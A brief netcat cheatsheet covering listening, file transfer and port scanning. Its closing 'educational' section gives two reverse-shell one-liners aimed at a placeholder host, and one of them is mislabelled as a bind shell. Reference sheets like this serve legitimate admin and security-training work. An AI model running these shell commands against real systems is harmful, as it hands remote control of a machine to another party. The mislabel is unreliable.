Netcat Cheatsheet

The essential commands for debugging, scanning, and data transfer.

Basics

nc -h

Print help and available options.

nc -v [host] [port]

Verbose mode. Shows connection status.

nc -l -p [port]

Listen mode. Opens a port for incoming connections.

File Transfer

nc -l -p 1234 > outfile

Receive a file on port 1234.

nc [host] 1234 < infile

Send a file to the listener.

Port Scanning

nc -z -v [host] 1-1000

Scan ports 1 to 1000 on the target host.

nc -z -v -u [host] 1-1000

UDP port scan.

Reverse Shells (Educational)

nc -e /bin/bash [host] [port]

Bind shell (Linux). Execute bash on connection.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [host] [port] >/tmp/f

Reverse shell using mkfifo (when -e is disabled).